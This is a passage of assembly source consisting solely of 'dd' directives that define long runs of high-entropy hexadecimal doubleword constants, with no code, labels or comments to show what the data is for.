dd 0E3BFB443h, 287C8D89h, 719695CDh, 44B2FF8Ah, 0D7272B35h
dd 0B8F00C71h, 159B0224h, 0A1E27C18h, 2217F8CEh, 7A95E998h
dd 0AC70566Bh, 887DEC53h, 2804201Bh, 1BBDDBE2h, 9E605227h
dd 4064204Ch, 0F025FA18h, 5379402Eh, 621FA4E6h, 1B79203Eh
dd 0F682E7EAh, 0DD8450E5h, 3600E755h, 2335D32Ah, 6A4FB1ABh
dd 332B4C6Eh, 0EF616CF2h, 0BE24C5C6h, 71AAE8A9h, 5DA237CAh
dd 94E27194h, 20CFD363h, 0D6B1BF5Ch, 0A7D111DCh, 0B12F7EE0h
dd 0A108C410h, 0F04F087Eh, 0C67DADB2h, 0DA98195Dh, 0A5B8CE51h
dd 2580906h, 76345906h, 3C3A4AEBh, 6C75B748h, 0A9C0F8C1h
dd 0DB942E6Fh, 0E02A54AEh, 0C3CE5451h, 9D77F7D4h, 9A75EC9Eh
dd 0DC4FBCA1h, 28D337A6h, 7EC2D621h, 994F86Eh, 0EE98BB9Eh
dd 5D75E6A7h, 0DC69EC7Bh, 13CEA2FEh, 3157AF01h, 0E4CB4C17h
dd 48729E0Fh, 0DF458701h, 64D2FC9Ah, 12AD857Ch, 0D6237255h
dd 3BA8FB93h, 5CB6B015h, 0A8AF7E2Ah, 7C74D578h, 6403BBA5h
dd 481254Eh, 0FBB7F421h, 50BC3739h, 4E3A1E3Bh, 84ED911Ch
dd 6C90E36Dh, 0D0C1B88Ch, 0F11CA83Fh, 98574DCFh, 0C7226FAh
dd 41EEF634h, 0DD2AEEh, 573FB1CCh, 0CD645F31h, 535827DBh
dd 49B53B18h, 0C481146Bh, 0C37746CCh, 1F40AE29h, 0E738EA42h
dd 64A470F3h, 0AA109746h, 55F7F39Fh, 0CD3B1F86h, 239E1007h
dd 0D0FAA38Bh, 6A4E8CB3h, 4988AD6Bh, 5CB4692Dh, 6CE2F3B9h
dd 93E550D0h, 1525709Bh, 19167D14h, 45B0D579h, 16787920h
dd 7DED706Dh, 615A595Dh, 2BDA951h, 273B1B31h, 5DFB255Eh
dd 6E253E8Dh, 3138C5A6h, 5C53053h, 0A56C38C2h, 0C8FDDCE2h
dd 5094A473h, 0AC79AD42h, 84A12DB2h, 0A053BC4Dh, 0F2BC32A1h
dd 16E999FFh, 476141AFh, 0F8EC0F00h, 5A08253Ah, 0C74FF728h
dd 0D8A35BBBh, 9DB2C78Bh, 0FE900072h, 104DB24Bh, 3134D772h
dd 0DF9BF7E9h, 9E2084ECh, 67ACCDBDh, 2F203E7Dh, 0F4000082h
dd 0CD1704B3h, 2837EC4Fh, 2B11A476h, 5CA145DCh, 0B5826D54h
dd 9EBBA233h, 34B70B8Bh, 12ED009Bh, 0B5AF3453h, 0C1365ADBh
dd 72A077CFh, 4B7ADCD1h, 5A8FF242h, 583EB1A3h, 0B75787FDh
dd 0B50E6562h, 0BE775CAEh, 0A7A5D981h, 4D937FC6h, 96823970h
dd 5B86695Ch, 0A9497627h, 0C8B1D83h, 4164CB80h, 4F07094Fh
dd 83AB33E8h, 0E8FC1AA2h, 0E994A464h, 9BC63989h, 0FD54B89Dh
dd 3C0B5B1Eh, 0C84DEC67h, 8D66D43Dh, 3FF89EECh, 5622F38Ch
dd 84D0C4E1h, 156815DCh, 822A36FAh, 6DDCE13Bh, 5122AAEFh
dd 67206676h, 2D5BE144h, 28946AC0h, 0E16E0275h, 0C2635CD9h
dd 8A798D5Dh, 36A13A76h, 0ACD7FD60h, 0D480E3E2h, 64C7D916h
dd 89E4A3EFh, 0BDF6A60Eh, 62580DE8h, 0C82AB68Bh, 41336D2Fh
dd 0C0D7C6BEh, 0CB98E0A7h, 1AD0B3C4h, 18E11C8Ah, 0BE25C516h
dd 9F32584Ch, 95B4E79h, 0B559BC2Fh, 0D0709C97h, 32E5ECFCh
dd 0FB6FDD47h, 2F39BEF9h, 0AD4ACCABh, 0E54A70B9h, 743BE5D3h
dd 39F6D90Ch, 3CA71976h, 188DC2Dh, 0FBF5EB09h, 9B66AFC0h
dd 83F4E183h, 0FE7715EBh, 82909B62h, 0D9E4CF6h, 2D2FC877h
dd 6AC2F5A4h, 3E49EA86h
dd 0BCE32AD5h, 0BA91CC9Bh, 0A77642A5h, 1167DDC6h, 7EF7886Dh
dd 9B9836C7h, 67F68C0Ch, 20350B35h, 0F40E825Ah, 92F60E2Bh
dd 0F65D805h, 0D7B23394h, 7BCC6B46h, 7E2EC9BBh, 377F7BD1h
dd 2C6A2A1Eh, 9E2F359Fh, 0AC06E44Eh, 4516C0E3h, 5BC5734Bh
dd 0C89E2AB6h, 0E7145641h, 0AF292266h, 2017EA1Dh, 9C307E51h
dd 0EC2ECA63h, 875CCB18h, 0B48F0F16h, 72C80EC5h, 0A869501Eh
dd 3D12387Bh, 0F994FB09h, 0EA336A9Eh, 0FB3C4E39h, 0A4A9F299h
dd 0E64726C4h, 471B5136h, 0A65E05E5h, 72A73FACh, 3E86E4h
dd 9F40218Ch, 0D7A51270h, 2DE52EE6h, 77803864h, 839E0494h
dd 80AD105Eh, 31EC0EF5h, 0AF0FA2Eh, 0BC5B9E3Fh, 730D00Ch
dd 5F196C1Dh, 9FF860B3h, 0A6676F06h, 68D7C3EEh, 0A415844Bh
dd 9F62EC27h, 0A311EFF6h, 14B82A11h, 2927C0B7h, 0C1E5CE94h
dd 46F03542h, 0C44666B4h, 957E7FD4h, 4F39AB89h, 8F521AEDh
dd 4831B283h, 0B8067376h, 0A2C0E1E1h, 20743801h, 0D1671DC7h
dd 776C6A13h, 0F550F6A3h, 0F5F05B23h, 0D708CB7h, 3E563CD8h
dd 0F61F0A7h, 0ACF00130h, 86192601h, 1FA51F96h, 517EF647h
dd 44E55881h, 0E12E78F8h, 182B3227h, 4F825B9Eh, 374B93D7h
dd 0DCD43B9Ch, 0A0DE137Ah, 0B4D0789h, 7B7BD95Eh, 16EC63CCh
dd 73233F13h, 1B764F64h, 0F3757DC8h, 0CF957377h, 0B4D57F3h
dd 8B0AD006h, 94967EA2h, 66E2C155h, 0C196AFB8h, 0F9699699h
dd 7B09E80Fh, 1A1FB09h, 0ED84FDECh, 22786AB7h, 0A43FE39Bh
dd 0CA350CC5h, 57AAC6B7h, 0DCC0A925h, 6FA4C872h, 0B0D2AAEBh
dd 7EBBACD7h, 0EA00BEB7h, 12B44727h, 28DFA290h, 6280A20h
dd 66AB5346h, 22AE909Fh, 3AEA46F3h, 54D330E8h, 0DFD19304h
dd 6FDEAA23h, 8292EFE7h, 0AA696A31h, 678D6881h, 73C95A6Ah
dd 95E9C90h, 828A11EAh, 0F3BB4DD9h, 6F0C70AEh, 0A8C723FEh
dd 0E2F68668h, 7375E967h, 0C4FA52CAh, 70367669h, 66436D5Ch
dd 295C0F0Eh, 0DCA1AC0Bh, 81E18831h, 5BB18CF0h, 2294BF2Eh
dd 88626B25h, 0CD98384Bh, 54482A19h, 0BB1E3DE0h, 80740C32h
dd 304C1066h, 3D9346A5h, 0D7EF31D0h, 9198CDE4h, 0AB4FF1D7h
dd 0EFA6D670h, 553C1468h, 0A6FDE132h, 70CDF8D3h, 0EE7F36Eh
dd 1897103Ah, 9F6B9F16h, 0AE4C2983h, 0F3C8AE5Ch, 91536445h
dd 9A61D92Ch, 0F64955E1h, 5AE3DF05h, 516271E7h, 0B1C8783Fh
dd 3EDAF88Fh, 5F6C48E8h, 37228836h, 730CBDC9h, 6671D385h
dd 21A71684h, 0F5664957h, 0A09A95E1h, 0E273810Ah, 24FD1926h
dd 0AF1DB062h, 0FB11CE34h, 85A3D08Ch, 9F07C9A9h, 6E94BED8h
dd 0E4329AF2h, 5113379Eh, 8A6D4C66h, 79C843D9h, 78B0790h
dd 26ED7228h, 2A01CB24h, 38DA0F9h, 0C399D99Dh, 74B6F8F5h
dd 8924239Bh, 0D7E34A21h, 3906793Fh, 0A47432B5h, 0DF3B5729h
dd 19F659B1h, 0AE1AA62h, 0F8CE5047h, 824F1339h, 1547EE19h
dd 0DD9E0EA8h, 7AA9E35Ch, 9856C11h, 67ED1538h, 5BE9999Dh
dd 96BBFB0h, 5943F366h, 25A0CCABh, 9A8CBF4Ch, 3CD18855h
dd 0E9FC6EABh, 0CCFD3D75h, 0EBB14124h, 52948E57h, 0FE8C2639h
dd 0AB1C0458h, 7A99BA1Eh, 56CCC7F8h, 0CA2153FCh, 0A2E1FCD2h
dd 7E8910E4h, 4E0DAD70h, 5CB53957h, 0E4FD415Eh, 0A9742CCAh
dd 0B498B2CEh, 6BABD150h, 0F4A22F4Ch, 13DA179Ch, 18161C83h
dd 35B20F8h, 0EB2E1EEEh, 582E7F8Ch, 4244A7E4h, 2927633Dh
dd 0FA26B051h, 0FA0DE2D3h, 17ABD85Ch, 6C368E27h, 1320D5D2h
dd 0EC4323C1h, 0A88E132Bh, 782CAEAFh, 0D9B23765h, 2818C9E1h
dd 14617334h, 0CD263EC4h, 487B0738h, 0C4A8D884h, 0F815B6Fh
dd 9E4E4D46h, 53560EFEh, 0A758D70Bh, 0CD348DB0h, 6290B116h
dd 28A55BB3h, 771719A2h, 0C3BE439Ch, 0F180A39Fh, 0E60D4CE8h
dd 0AD9359E9h, 0A96D19F9h, 0B40260EFh, 20BAEA71h, 7D7179E9h
dd 0F93FC6DCh, 9DCCB790h, 9DD334FDh, 0CFD16EBAh, 9DA5A2DEh
dd 0B45EFB69h, 9387F485h, 3DA7DD4Ah, 0E081C5B9h, 39013BD1h
dd 93E874BDh, 0D143D02Fh, 82716F61h, 8AEA5420h, 234D5E1Dh
dd 1C97861Bh, 0EC59A17Bh, 6C8CC5D4h, 0C938F123h, 0F1BED5Fh
dd 0B7AB5D7h, 0D1F257Eh, 3D1DF1Dh, 6490DB21h, 28C98E2Bh
dd 29FD7665h, 5DBD6620h, 10F11F5h, 5AC25B5Fh, 677E9E43h
dd 28D1F971h, 9FF6A284h, 6B237D46h, 18E6715Ah, 876999F5h
dd 55D74C03h, 0B8A9C37Eh, 0C7D9D489h, 5F280E06h, 0E40C7D90h
dd 9A73F531h, 0D023B189h, 0A70B55F4h, 0EFFE2F1Eh, 9701BB7h
dd 0C9C9B5C8h, 1F3573C4h, 0E5B262A0h, 0DB15B828h, 0B62E5F44h
dd 448F0C06h, 16F487B1h, 0D70710Dh, 994658CDh, 0F62ED177h
dd 0EE4456A0h, 6307571h, 8BC51034h, 29CB3B20h, 936CA87Ah
dd 290860AAh, 7C22263Fh, 6E2F61F3h, 2188A33Ah, 7C6ADDCh
dd 0D841BF05h, 0A26B425Ch, 3F3CA0E2h, 2FFFFB3Eh, 0F787775h
dd 0C3F4CDAAh, 499B2F4Fh, 90BDF8FFh, 93DF859Eh, 7CFCEF07h
dd 84F4CA9Ah, 0A1FA4939h, 0CB18B6F8h, 0BC93BB49h, 5CF9206h
dd 33CBE8D7h, 1EB29AC6h, 95AABB7Ch, 0B7164AE8h, 8501C0E0h
dd 0EB8CD6E2h, 0A76C1027h, 0F862FDC2h, 0C0814E1Ah, 71AD858Ah
dd 0D0B7F6A4h, 49667EEBh, 8E6823D9h, 2D26847Ah, 0D0BA7134h
dd 3A3FBE03h, 0EAEEB302h, 0B36FCE13h, 0AA2F6A89h, 339F972Bh
dd 5E24690Ch, 6CE1B806h, 86744A9Bh, 0F9BB4815h, 0B04B911Dh
dd 0BC1A1E2Eh, 4D9E2B2Ch, 3DFEEA12h, 5DF81D15h, 1DA8C56h
dd 82A27A36h, 0FEE98652h, 0E559023h, 76E09EF8h, 9F3EE539h
dd 0BE39F6Ch, 76F2E3E6h, 5FE4CEBFh, 77006B81h, 0A961587Ch
dd 0AB45B2E3h, 9AD4D419h, 1C457C32h, 0E04EE998h, 0C9F4B1F4h
dd 47582ACh, 739D721Ch, 0CA1E0B7h, 0C14271C6h, 0DC513DD0h
dd 85BBF7D5h, 9110B24Ah, 0AFC1BEF0h, 51D4C3FEh, 27AAA593h
dd 1229FCB7h, 848C2B2h, 0F57A37FDh, 0C6EDD8C4h, 0E1765B52h
dd 0C6EAB544h, 0A0A01616h, 74AC9817h, 2E2D4CA3h, 0F33C42E4h
dd 21F234F8h, 0E19A1F50h, 0D156FF2Ch, 0B7CA64B3h, 6D5121BBh
dd 238DAA25h, 29E026A1h, 75045ACAh, 0BFCE06E4h, 9D0EEB5Dh
dd 4E422238h, 5187FB63h, 9FAEC0E4h, 3498B3E0h, 2414753Bh
dd 0C7D5656Ah, 0CE0EF70h, 518D6AF4h, 21ED4E29h, 0AF314B34h
dd 49AD55E2h, 188C129Ch, 93E79E11h, 0A57CFD13h, 63E83715h
dd 0BA16109h, 0B5287278h, 0B3DFB1h, 0D9F4E4Fh, 0F435BAE5h
dd 2581A240h, 878C2A60h, 6BF7A98h, 0CD2E9862h, 34145B36h
dd 415D3CC7h, 1D14C1BCh, 3157BAE5h, 3FC2570Ch, 6AFD4864h
dd 947E390Ch, 23F745D3h, 5270E898h, 0A3DD69BEh, 0D9AEEB8Bh
dd 74863DA2h, 21485AF5h, 8CE97871h, 0D9FDC7EDh, 13EE6D4Eh
dd 0C9B553C3h, 0F4B685EBh, 191DD530h, 12AAF25Ah, 5DCE7020h
dd 27F14AAEh, 83D7120h, 41017552h, 0BA8DC4C7h, 7EA43F31h
dd 9AEA6151h, 2422D3B8h, 42BAD930h, 589E6D62h, 11DFA450h
dd 1F743498h, 0C3B5DD66h, 70766EF4h, 0C1E3E2FFh, 82CF8E45h
dd 78C8D9FAh, 505E87E0h, 1A4216AAh, 214772C1h, 6B5F6D6Ah
dd 0A448DD15h, 536DB3h, 0C130EE8Dh, 0D72215B8h, 493C03BBh
dd 3AC0E00Ch, 0A58DA45h, 0F9228332h, 0A2519E51h, 956052F9h
dd 95B4C22Ch, 0AF569A09h, 3FCA8696h, 0EAC918BAh, 89397505h
dd 3A0B04ECh, 0E2EA1D42h, 1F7DAA8Bh, 0D1AE303Dh, 0D4874558h
dd 0FB61E719h, 0D94682BAh, 4D811621h, 0DC5CBBE7h, 17FD8B0Eh
dd 463EA59Fh, 4E7F7216h
dd 2826C7CFh, 3382A58Dh, 0BCC0272Fh, 29FEED6h, 0CE04BDC2h
dd 3E9FA858h, 50616232h, 0FF0D2D8Ch, 1DCE4EE9h, 0D305F882h
dd 1E745ED7h, 0F84875Fh, 0D14F5CE5h, 0D61C7BF5h, 5A2CBAFAh
dd 6E043FECh, 0A832AA9Dh, 0E1A7942Ah, 0FBF9B2DCh, 0D32101A9h
dd 734CBFh, 716931CFh, 0B101DCF3h, 2761959Ah, 1CC570E0h
dd 109C3F5Fh, 453A322Dh, 86CBE0B3h, 0B1F10E1Eh, 0E3F0E8C1h
dd 7E8BA8F8h, 0CD725A93h, 0BAC37224h, 0A9CF9C3Fh, 0D0BB423Eh
dd 13C243D1h, 52F3153Dh, 0E2155F1Ah, 749AC1Dh, 9CDAF4AEh
dd 976EB2DDh, 387D8CABh, 0CF647348h, 78160270h, 0EB243B73h
dd 0B01FD2F7h, 0AA4E6918h, 0B3429D7Bh, 74BFBEC4h, 271EB2CEh
dd 0FCB85BE3h, 0F37B739Dh, 25BE5286h, 0D1677327h, 15832A0Bh
dd 65EEE7F0h, 380D9AD7h, 3CDA8ECDh, 0AF64C3B9h, 9C5B4F02h
dd 0BBEDCEDAh, 0EFE149F9h, 0BD399B53h, 0B5039331h, 10D9A29Ah
dd 0B913752Ch, 51527CE6h, 66436E05h, 0AC0839BEh, 0C90C91A3h
dd 42C949F8h, 3F297BEFh, 5379D52Eh, 4442A884h, 0F9F79ECFh
dd 2EFE208Ch, 86C64DACh, 0C6BFA8B3h, 0B33D479Eh, 7DA6103Bh
dd 0C4A1E4BEh, 7E85D6C7h, 15EFFCABh, 6BE3CCEh, 0CCDA8249h
dd 0DD1B5B17h, 91B09132h, 43C6D1F3h, 11D43C10h, 46079588h
dd 0A1F8F467h, 32C48081h, 115C8A76h, 0C7E8C3DDh, 0B35F2DFDh
dd 7AE4C415h, 44CE7213h, 0BB4A8554h, 53AC73CCh, 0BCF2D668h
dd 7BFCE0B8h, 0CF7BF4ACh, 0FE4BF107h, 9CCC63C9h, 6F5D748Ch
dd 0C287978Bh, 0D3F62D5h, 8D033FCEh, 5285EB75h, 0CC5329A5h
dd 0FAC2E7C4h, 0A795220Eh, 2C31ED38h, 710CC4C0h, 16A4EF02h
dd 81F56563h, 3FEBA504h, 6A9E756Fh, 0FC78D4DCh, 68BFA486h
dd 26BE90C4h, 0DBBDEF3Bh, 0A465A626h, 3B9FA603h, 7B0A4600h
dd 0D58B626Eh, 0F6293F5Ah, 415D60BAh, 0A188E45Fh, 0B3D8EA63h
dd 94C9FE75h, 45515CDCh, 2AF34AECh, 968682DCh, 360606E7h
dd 0ABAE6C8Dh, 96B3682Ch, 29914A7Ch, 0E69F7FD6h, 0B1542B1Fh
dd 0E4D216EBh, 1520C5F2h, 0F86AD68Bh, 1C935B23h, 0DB3A1D77h
dd 9B2196B3h, 0C06B6CAh, 36D6750Bh, 974D9935h, 0D0E4EA63h
dd 0C7076776h, 38EA9CB3h, 24464DE6h, 31807A77h, 4BE1FD64h
dd 4B0E29C8h, 0F968BDC6h, 709BFFD3h, 0F7A9BBA6h, 2FA46954h
dd 0C54DDAEEh, 2F091E23h, 4FF92A93h, 8100AEA6h, 4AF6A6BFh
dd 0B0DB3381h, 48ED22C3h, 752598F8h, 2CFFB5F8h, 6561646Eh
dd 7BC2AB43h, 8E46D504h, 0EADC57B9h, 0AD901A45h, 0E2FFE0C2h
dd 520AD5h, 5DC5DC8Fh, 0B38EC78Eh, 3590E6B1h, 3DB2A2DBh
dd 0FBD959A8h, 0E5163ADEh, 0D511C00h, 204522ACh, 0C0D3573Ch
dd 0BED163A7h, 8F3FA088h, 0AA5DD35Eh, 2AE71DAAh, 5CE270D4h
dd 0FF81090Eh, 0E9D8838Eh, 0C6C63AEBh, 72224B77h, 0CE057C21h
dd 210CE042h, 0E5844874h, 3097A054h, 495F3DAEh, 72747E8Ah
dd 0F009ECDBh, 0F9841188h, 3A5F1950h, 5F6CAE4h, 94F47912h
dd 409BC487h, 49D3AE24h, 57B6758h, 7586D95Ch, 0DF1649F0h
dd 23EE9A80h, 0FA2C7BAEh, 61E5955Ah, 0C626B68Fh, 4C59C446h
dd 0F86B67D4h, 0C6457FFCh, 75D0114Fh, 0AD5EDD51h, 0A06137BDh
dd 3C101A2Bh, 7AFE3B8Ch, 9E5217DCh, 0BABCD391h, 1C220B1Eh
dd 0AD6074ADh, 46BF939Eh, 2B1DFE62h, 77E4EE99h, 1EA77C5Eh
dd 0FCB743F9h, 0B7F16196h, 4B683FEDh, 0CDFFAF34h, 0B92B508Ch
dd 5491E2Dh, 20F3B3DBh, 0DD106ECDh, 0DA441507h, 0D01BA4D6h
dd 1CB9B7C6h, 0C36F7DA8h, 967DF34Dh, 3BC3C8C9h, 0F0CA1E6Ch
dd 61618177h, 0A59FD3E8h, 26137A16h, 5D6A284Fh, 695F1B91h
dd 0F8C03BEAh, 56587001h, 0EE590F8Bh, 0E7578183h, 0FD4A4796h
dd 52E005F7h, 59A359AFh, 0EB621966h, 0B6B4589Fh, 2CB92644h
dd 3ED22FB3h, 96873B4h, 0AD116D30h, 61544426h, 0B678CD8Bh
dd 0D643A690h, 0C5401CBh, 6FFED97h, 6F00A437h, 5A50C86Fh
dd 0AE8B9FDCh, 775D8AF3h, 0CD2EEAB9h, 54F0747Dh, 5159C806h
dd 9FF51DA1h, 0DF2B1930h, 0F0BDA1D6h, 0AF7DC10Dh, 0C580EAA8h
dd 1D48C20h, 52C8D2BFh, 0CCC08B24h, 3A872CB3h, 7FC2A502h
dd 40FA8DEDh, 770826FBh, 4463CD6Dh, 97B603B6h, 0D8B2424Eh
dd 0F5D539B0h, 0D6547513h, 49FE4636h, 0E0B1F02Ch, 78B736FCh
dd 0C2BDE02Dh, 3C34C9A5h, 81522C86h, 0FCDEB2BAh, 3682B3FDh
dd 8B5087BEh, 0DAF8195h, 0C205ADE6h, 0B6731A27h, 7033194Ah
dd 0FDD85BA5h, 47CB7262h, 33BFD804h, 0A7BC7D24h, 0F8A8F962h
dd 38A8586Bh, 6948FB06h, 0A2CD9C2Bh, 50CC7BCAh, 0E9C2D5D8h
dd 0A2CC5EE7h, 5A93AC4Dh, 86FE0350h, 0B12F098Eh, 892FDA42h
dd 2D9917B5h, 0FEB01B9Eh, 5067EED1h, 127828Dh, 8A72BFBFh
dd 7B8D44h, 386F1890h, 0E3713A5Bh, 0BCB727EEh, 0E76E58A5h
dd 55C2CCAFh, 0E9B71BEAh, 6313797Eh, 26938370h, 68A5EB6Fh
dd 0ECFF3E1Eh, 7E73282Ch, 6FC88E39h, 460FB00h, 8B1F5004h
dd 7172DCC9h, 0CA8F5636h, 4EC16ED5h, 0D6D80FAAh, 0BBF7FB67h
dd 0B07BF3AFh, 1BA6310Dh, 2C89BEAAh, 0A0C6580h, 3BE85F50h
dd 8F1EC760h, 188A04C0h, 328A7EDFh, 8C76F092h, 8EBB7A7Eh
dd 0D7293832h, 89A410FAh, 8ECFD08Fh, 9C8B6E3h, 0AD758D22h
dd 0B4928303h, 1C0FFCDFh, 35BB6B10h, 0A448F644h, 0BBE0B5ADh
dd 0EA9C0B3Dh, 48D4F9Ch, 0AFB94875h, 0DECE98E6h, 810D34CFh
dd 6EBA1563h, 0C8D99003h, 2CB8A6B2h, 5D7DDED1h, 0B40AED8Ch
dd 5578E78Dh, 0AB086B8Ch, 242BA6DDh, 0D437E3B0h, 4E324CC9h
dd 93D56DAAh, 0DF2F136Fh, 0BE75E864h, 9D01F5h, 2885D47Bh
dd 0BDF19AC7h, 99C8E56Dh, 0DA2944A0h, 0C7EC1A2Bh, 0EB2BF8C1h
dd 0EDD63CB0h, 4E377E0Fh, 3BAA78Fh, 618B560h, 0A4476BA8h
dd 14798A1h, 0D9C4546Eh, 0A91629A2h, 3678B13h, 1466722Eh
dd 437F0BB8h, 4CCDD0ACh, 6C819ADCh, 650AF0ABh, 0ED5D2F5Ch
dd 25192375h, 6C1BD3D3h, 27F82E97h, 3248C3D1h, 82425FC6h
dd 30F5668Fh, 0BC85E4C4h, 3ACD0720h, 8B39A739h, 75AC68AAh
dd 3BCDB237h, 7AEAC2C7h, 501A177Fh, 862A6293h, 890CC367h
dd 0AF8E7922h, 0F5C56C26h, 0C15F06D0h, 0A83F1B10h, 77E1D769h
dd 54A1DB21h, 4D22819Ch, 0DF7049BAh, 331EFE1Ah, 0F63BAC01h
dd 53AF4850h, 35F8BA8Bh, 0F52E90EAh, 0B9747A7Bh, 6167F6CAh
dd 53A98F01h, 8078930Ch, 211D4715h, 6FFBE4D8h, 0B26D51ACh
dd 12F9D1D5h, 86F31D7Bh, 2245AF3Dh, 5B93AC6Ch, 9B8C318Dh
dd 3990F090h, 0D4FFF4B0h, 1998B891h, 0B83C7C4Bh, 0EEFE8019h
dd 1179EECh, 7915AF1Bh, 92E9C72Ch, 7EE073C9h, 8753ACBh
dd 0AEEDFCC9h, 14C5E13Eh, 694EE45Eh, 0A224FFE9h, 3529707Eh
dd 0E98095D8h, 3C51EFB2h, 6F0F53E6h, 56F8B49Eh, 0BBC26F85h
dd 3E7061E4h, 319BFDBh, 77E8DB3Ah, 0CDB6DDACh, 0E93C6A6Bh
dd 0BC4294FFh, 48DF1784h, 32919370h, 35DD2890h, 8CF55C74h
dd 31E3E6E0h, 376E8725h, 0A8B2A6E9h, 3056E327h, 0B079CE20h
dd 4AF48078h, 0BFC6B96Dh, 4BC30ACDh, 0D408B527h, 0A4F24334h
dd 0F2E324E6h, 0C2D79198h, 0FB282D8h, 88B07FDh, 0FF218FACh
dd 0DB330E9Fh, 0D9762674h, 0D5FA032Ah, 856340E6h, 1633F5D6h
dd 96A1F0B6h, 2E85CB89h, 49177327h, 0B11AF47Bh, 0CD752532h
dd 30C524A9h, 0AF0F7D1h, 1462D40h, 2A1CEEC9h, 11110147h
dd 0F18F1882h, 0CAC4D968h, 0AC16A911h, 626C79EBh, 334B9E67h
dd 6F0EF4A2h, 27363A43h
dd 0E8AE0B1Fh, 62D96ECh, 4E0118A5h, 0C0C983B9h, 851D5BBBh
dd 0AFCF896Bh, 1F49FD1Fh, 0D3533119h, 96C07FB2h, 5B54966h
dd 51A87AB9h, 8311FEEDh, 1F0BD31h, 30AEAFB8h, 63DE99Dh
dd 7EDC67E9h, 1E3A6761h, 0B2DEC0D2h, 0D7FA6011h, 0FA5ABE42h
dd 970D2D82h, 0FE205FC6h, 0BE63E0DDh, 4F5DAF9Eh, 0BBA6CF45h
dd 8CB6DC20h, 0B7E61E6Ah, 757B1EBBh, 0D22431E0h, 0F780F110h
dd 6061D499h, 13434519h, 95BA7A6Fh, 8E8C21DEh, 0D51CD147h
dd 0A0BA0EDCh, 58268160h, 2E8D92D7h, 0AD2D092h, 0D79F597h
dd 7F987EADh, 95813CACh, 0FA4933E1h, 2F1AF681h, 0C60FDE65h
dd 72DE8515h, 0C1A9BB66h, 0C280548Fh, 84853298h, 794D04C8h
dd 0A7D765BEh, 97052091h, 227F9EECh, 746DB49Eh, 0E1C30A4Ah
dd 7C4383E6h, 99005C5Bh, 3E53060Bh, 3690328Ah, 0D4F4FA8Dh
dd 2156AD41h, 2BFC55EBh, 0CF77DA74h, 0D417FDB8h, 90886033h
dd 0E965E578h, 0DC301425h, 2F04EA03h, 1B4F047Ah, 1D8281F8h
dd 71247008h, 4689382Ah, 595C44CFh, 3E13EECCh, 72E34857h
dd 202E521h, 8542D951h, 50934FB2h, 0CBF05A89h, 1D66D96Ch
dd 6FDA7532h, 6B3E5784h, 4ACDA7D1h, 0C030B7D1h, 10251DC8h
dd 0E8918443h, 856D48B1h, 8E45454Bh, 0D18904Bh, 71A339CDh
dd 5DCDA06Fh, 5346A4B8h, 0EB4C4AEBh, 201BFE72h, 3FC1D47Dh
dd 0E084146Ch, 0E5EB3F78h, 33244AFAh, 8A321A54h, 0F889847Eh
dd 4724767Fh, 7BDD922Ch, 80D4B7D4h, 43DAFCB4h, 33CCAF5Ah
dd 3DE7A163h, 8DF9533Ah, 702497D3h, 0CED5C1EFh, 2B790360h
dd 8AB6988Bh, 691A71A0h, 0B02F9BF6h, 9756916Ah, 0E02827CBh
dd 89993438h, 0AA7FD650h, 0D209263Eh, 0E88D80Dh, 0E8D1F08h
dd 85C09B08h, 44E19AADh, 140E5664h, 4E0A3E99h, 9842D837h
dd 0D043C549h, 0ACD40D63h, 89E5F93Bh, 1F9470D9h, 82286B00h
dd 0F610E50Fh, 3ACD51B5h, 0E925DAA9h, 0B53879B5h, 5815198Ah
dd 42CE43DFh, 0AC5F3A8Bh, 6191A198h, 941C2A42h, 6C1B6489h
dd 6BF6B20Ah, 788C58FAh, 17F60A75h, 16F4559Bh, 0F0F3DA37h
dd 0CBB8443Fh, 563A65F0h, 0A0B2462Eh, 5CD28ED4h, 61582C3Eh
dd 0EE193E93h, 93A44AF8h, 2B2CC46h, 372F949Eh, 2339CE7Fh
dd 8264E798h, 0C67907A4h, 0F3C7B3E8h, 10A2EC45h, 79A9190Ah
dd 0F8F30AD0h, 2A9F3EB6h, 0B187A5E9h, 8E6B876Ch, 0A260E89Fh
dd 574EF346h, 63A2F32Eh, 982FF95Dh, 64B31001h, 851842D0h
dd 3C5B7F0Fh, 483F5955h, 6C0DF74Eh, 6FFFE873h, 8C882699h
dd 46EB59CFh, 1A04179Fh, 0C90EB352h, 21B230Ah, 60DEEBAFh
dd 15A9EE70h, 80B738CAh, 3836A16Eh, 92D4D5ABh, 1EE2E05Fh
dd 2475EDDFh, 4FEF381Fh, 0DC4947D7h, 31518A3Eh, 21945AC1h
dd 0F6A6419Bh, 93029F98h, 0B141637Fh, 672C7A20h, 381DA899h
dd 9C233616h, 0A434F122h, 80BED49Fh, 5217527Dh, 758F871Ch
dd 0A80669D9h, 758AE6F3h, 516E6553h, 0B237CB2Fh, 0C335958Eh
dd 5AFBB4A1h, 44E9BF0Ch, 303D046Eh, 64AAAD07h, 460A523Bh
dd 25F0AB6Fh, 7623E3A1h, 0EF8FE9B8h, 1E343DDCh, 0AC8ADEE7h
dd 0A224CA26h, 1E3F2F0Bh, 12E58562h, 87183567h, 0EEC69FB7h
dd 0E735F4ABh, 0BE689C71h, 8595B9FBh, 0BBDD43A7h, 642B62BBh
dd 3208053Ah, 5D4510A6h, 86BC53EBh, 6CF64003h, 0DD226B20h
dd 3CD4F040h, 0C1F59854h, 381EF736h, 0D1B4481h, 0C3697B49h
dd 77B73DC1h, 0F4EFB256h, 1F817A3Fh, 6AF9204Eh, 0CE53DBE3h
dd 0B87359C3h, 4DD94178h, 91F7583Fh, 0CBFB5066h, 0B4874568h
dd 7EB70849h, 5DD8FAD0h, 399ABC63h, 364046D8h, 0D3090355h
dd 697FF71Fh, 9FF58F97h, 0A02AA534h, 52F7F267h, 0AAF5E67Ah
dd 4D9B8BF8h, 5D9B4DF0h, 34D5F8D9h, 98FD1302h, 62DB8343h
dd 5E49C0ACh, 36DE04EFh, 5E6D236Eh, 37A755EFh, 7501A1C4h
dd 7DBF781Ch, 9F949A1Ch, 231460D2h, 0C95B889Eh, 0B2933FD6h
dd 244AD65Bh, 0E5C346F9h, 0F61DAAC4h, 8A777B6h, 51736A5Fh
dd 0C34858A0h, 27599498h, 82A4FFE2h, 0F32C3A8Bh, 357361B3h
dd 39A312CEh, 36AD5119h, 9A5146DFh, 85C9E5FFh, 0BFFECD67h
dd 61EE32E3h, 0D983C9C8h, 5544CE4Fh, 971DBC83h, 54CCBD4Ah
dd 0E24B128Ah, 0A35C113Dh, 8642FDFFh, 0A384848h, 0F6243C46h
dd 5B7BCB7Dh, 92A32D75h, 0A7A52E28h, 5B196E99h, 70980DCFh
